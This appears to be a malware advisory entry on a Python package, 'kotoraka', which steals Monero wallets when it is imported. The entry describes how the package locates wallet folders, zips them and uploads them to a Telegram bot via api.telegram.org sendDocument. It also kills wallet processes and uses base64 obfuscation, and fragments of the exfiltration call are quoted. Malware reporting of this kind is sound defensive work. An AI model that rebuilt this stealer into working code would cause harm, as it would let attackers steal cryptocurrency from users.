GCVE-110-OSM-2026-10129

This package is a credential/data stealer targeting Monero wallets: the import-time code checks for user wallet paths in `C:\Users\{}\Documents\Monero` and `/home/{}/Monero`, archives the directory, and uploads the zip to a Telegram bot via `api.telegram.org/bot{TK}/sendDocument`. The attacker model is straightforward exfiltration to a controlled Telegram chat (`CHAT_ID = -5044692933`) with status messages like `Found wallet... sending`, which shows intent to report successful theft back to the operator. The `kill_processes()` routine killing `feather` and `monero` processes adds anti-interference behavior consistent with wallet theft tooling. Because the malicious behavior executes on module import in `kotoraka/__init__.py`, this is not a false positive or benign telemetry library. ENTRY kotoraka/__init__.py (module-import: 80) DESTINATION - 2 exfil (telegram-bot) (values recorded in verified_iocs) EXFIL - Python Archive Exfiltration in kotoraka/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Python File Upload to Remote in kotoraka/__init__.py: "requests.post( f"https://api.telegram.org/bot{TK}/sendDocument", data={ "chat_id..." - Network Request in kotoraka/__init__.py: "requests.post(" - System Information Collection in kotoraka/__init__.py: "platform.system()" OBFUSCATION - Decoded Base64 Content in kotoraka/__init__.py (x3) - recovered 2 paths from decoded/deobfuscated content PAYLOAD FILES kotoraka/__init__.py